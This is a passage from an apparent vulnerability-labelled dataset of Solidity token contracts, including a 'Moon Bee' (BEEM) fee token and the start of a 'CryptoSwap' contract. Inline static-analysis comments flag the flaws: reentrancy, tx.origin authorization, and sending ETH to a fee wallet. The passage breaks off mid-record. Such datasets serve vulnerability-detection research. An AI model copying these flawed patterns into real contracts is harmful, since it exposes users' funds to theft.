IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 315c71e\n\t\t// reentrancy-eth | ID: e8e5432\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 315c71e\n\t\t// unused-return | ID: ff3ec84\n\t\t// reentrancy-eth | ID: e8e5432\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 315c71e\n\t\t// unused-return | ID: 71519bf\n\t\t// reentrancy-eth | ID: e8e5432\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 315c71e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e8e5432\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10637.sol",
"size_bytes": 19919,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BEEM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => uint256) private _boughtAt;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: 95d8c2f): BEEM._marketingWallet should be immutable \n\t// Recommendation for 95d8c2f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingWallet;\n uint256 private _lastSwap = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 61c9426): BEEM._noSecondSwap should be constant \n\t// Recommendation for 61c9426: Add the 'constant' attribute to state variables that never change.\n bool private _noSecondSwap = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: c78df1f): BEEM._firstBuyTax should be constant \n\t// Recommendation for c78df1f: Add the 'constant' attribute to state variables that never change.\n uint256 private _firstBuyTax = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 8ef636d): BEEM._firstSellTax should be constant \n\t// Recommendation for 8ef636d: Add the 'constant' attribute to state variables that never change.\n uint256 private _firstSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: fd568a7): BEEM._secondBuyTax should be constant \n\t// Recommendation for fd568a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _secondBuyTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 5711a70): BEEM._secondSellTax should be constant \n\t// Recommendation for 5711a70: Add the 'constant' attribute to state variables that never change.\n uint256 private _secondSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 099bf4f): BEEM._reduceBuyTaxAt should be constant \n\t// Recommendation for 099bf4f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\t// WARNING Optimization Issue (constable-states | ID: c009802): BEEM._reduceSellTaxAt should be constant \n\t// Recommendation for c009802: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 9efa1b2): BEEM._noSwapBefore should be constant \n\t// Recommendation for 9efa1b2: Add the 'constant' attribute to state variables that never change.\n uint256 private _noSwapBefore = 20;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 7;\n uint256 private constant _totalSupply = 80000000000 * 10 ** _decimals;\n string private constant _name = unicode\"Moon Bee\";\n string private constant _symbol = unicode\"BEEM\";\n uint256 public _maxTxAmount = 1600000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 1600000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 14ccf82): BEEM._taxSwapThreshold should be constant \n\t// Recommendation for 14ccf82: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 0 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 6643839): BEEM._maxTaxSwap should be constant \n\t// Recommendation for 6643839: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private _router;\n address private _pair;\n bool private _tradingOpen;\n bool private _inSwap = false;\n bool private _swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n modifier lockTheSwap() {\n _inSwap = true;\n _;\n _inSwap = false;\n }\n\n constructor() {\n _marketingWallet = payable(_msgSender());\n _balances[_msgSender()] = _totalSupply;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 26614d3): BEEM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 26614d3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 21790dc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 21790dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 009d90c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 009d90c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 21790dc\n\t\t// reentrancy-benign | ID: 009d90c\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 21790dc\n\t\t// reentrancy-benign | ID: 009d90c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f6ac932): BEEM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f6ac932: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 009d90c\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 21790dc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 026f7fe): BEEM._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons _boughtAt[from] == block.timestamp || _boughtAt[from] == 0\n\t// Recommendation for 026f7fe: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d503f88): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d503f88: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 24f9ce8): BEEM._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 24f9ce8: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 1ee0ca1): BEEM._transfer(address,address,uint256) uses a dangerous strict equality _noSecondSwap && _lastSwap == block.number\n\t// Recommendation for 1ee0ca1: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 1a86734): BEEM._transfer(address,address,uint256) uses a dangerous strict equality _boughtAt[from] == block.timestamp || _boughtAt[from] == 0\n\t// Recommendation for 1a86734: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0a8b043): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0a8b043: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n bool shouldSwap = true;\n if (from != owner() && to != owner()) {\n taxAmount = amount.mul((_tradingOpen) ? 0 : _firstBuyTax).div(100);\n if (transferDelayEnabled) {\n if (to != address(_router) && to != address(_pair)) {\n\t\t\t\t\t// tx-origin | ID: 24f9ce8\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == _pair &&\n to != address(_router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_buyCount < _noSwapBefore) {\n require(!isContract(to));\n }\n _buyCount++;\n _boughtAt[to] = block.timestamp;\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _secondBuyTax\n : _firstBuyTax\n )\n .div(100);\n }\n\n if (to == _pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _secondSellTax\n : _firstSellTax\n )\n .div(100);\n if (\n\t\t\t\t\t// timestamp | ID: 026f7fe\n\t\t\t\t\t// incorrect-equality | ID: 1a86734\n _boughtAt[from] == block.timestamp || _boughtAt[from] == 0\n ) {\n shouldSwap = false;\n }\n\t\t\t\t// incorrect-equality | ID: 1ee0ca1\n if (_noSecondSwap && _lastSwap == block.number) {\n shouldSwap = false;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !_inSwap &&\n to == _pair &&\n _swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _noSwapBefore &&\n shouldSwap\n ) {\n\t\t\t\t// reentrancy-events | ID: d503f88\n\t\t\t\t// reentrancy-eth | ID: 0a8b043\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d503f88\n\t\t\t\t\t// reentrancy-eth | ID: 0a8b043\n sendETHToFee(address(this).balance);\n\t\t\t\t\t// reentrancy-eth | ID: 0a8b043\n _lastSwap = block.number;\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0a8b043\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: d503f88\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 0a8b043\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 0a8b043\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: d503f88\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!_tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _router.WETH();\n _approve(address(this), address(_router), tokenAmount);\n\t\t// reentrancy-events | ID: d503f88\n\t\t// reentrancy-events | ID: 21790dc\n\t\t// reentrancy-benign | ID: 009d90c\n\t\t// reentrancy-eth | ID: 0a8b043\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _totalSupply;\n _maxWalletSize = _totalSupply;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_totalSupply);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 57bc79b): BEEM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _marketingWallet.transfer(amount)\n\t// Recommendation for 57bc79b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d503f88\n\t\t// reentrancy-events | ID: 21790dc\n\t\t// reentrancy-eth | ID: 0a8b043\n\t\t// arbitrary-send-eth | ID: 57bc79b\n _marketingWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ba13004): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ba13004: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5e0ffb2): BEEM.openTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5e0ffb2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cf0c50b): BEEM.openTrading() ignores return value by IERC20(_pair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for cf0c50b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1242ed0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1242ed0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!_tradingOpen, \"trading is already open\");\n _router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(_router), _totalSupply);\n IUniswapV2Factory factory = IUniswapV2Factory(_router.factory());\n _pair = factory.getPair(address(this), _router.WETH());\n if (_pair == address(0x0)) {\n\t\t\t// reentrancy-benign | ID: ba13004\n\t\t\t// reentrancy-eth | ID: 1242ed0\n _pair = factory.createPair(address(this), _router.WETH());\n }\n\t\t// reentrancy-benign | ID: ba13004\n\t\t// unused-return | ID: 5e0ffb2\n\t\t// reentrancy-eth | ID: 1242ed0\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: ba13004\n\t\t// unused-return | ID: cf0c50b\n\t\t// reentrancy-eth | ID: 1242ed0\n IERC20(_pair).approve(address(_router), type(uint).max);\n\t\t// reentrancy-benign | ID: ba13004\n _swapEnabled = true;\n\t\t// reentrancy-eth | ID: 1242ed0\n _tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _marketingWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10638.sol",
"size_bytes": 22182,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n uint256 newAllowance = oldAllowance - value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}\n\ninterface IFactory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n\n function swapExactETHForTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n\n function swapExactTokensForETH(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n}\n\ncontract CryptoSwap is Ownable {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n uint public feePercent = 100;\n\n uint public addLiquidityFee = 0;\n\n address public feeAccount;\n\n address public router;\n\n address public factory;\n\n address public weth;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8549536): CryptoSwap.constructor(address,address)._feeAccount lacks a zerocheck on \t feeAccount = _feeAccount\n\t// Recommendation for 8549536: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f0f479a): CryptoSwap.constructor(address,address)._router lacks a zerocheck on \t router = _router \t factory = IRouter(_router).factory() \t weth = IRouter(_router).WETH()\n\t// Recommendation for f0f479a: Check that the address is not zero.\n constructor(address _feeAccount, address _router) {\n\t\t// missing-zero-check | ID: 8549536\n feeAccount = _feeAccount;\n\n\t\t// missing-zero-check | ID: f0f479a\n router = _router;\n\n\t\t// 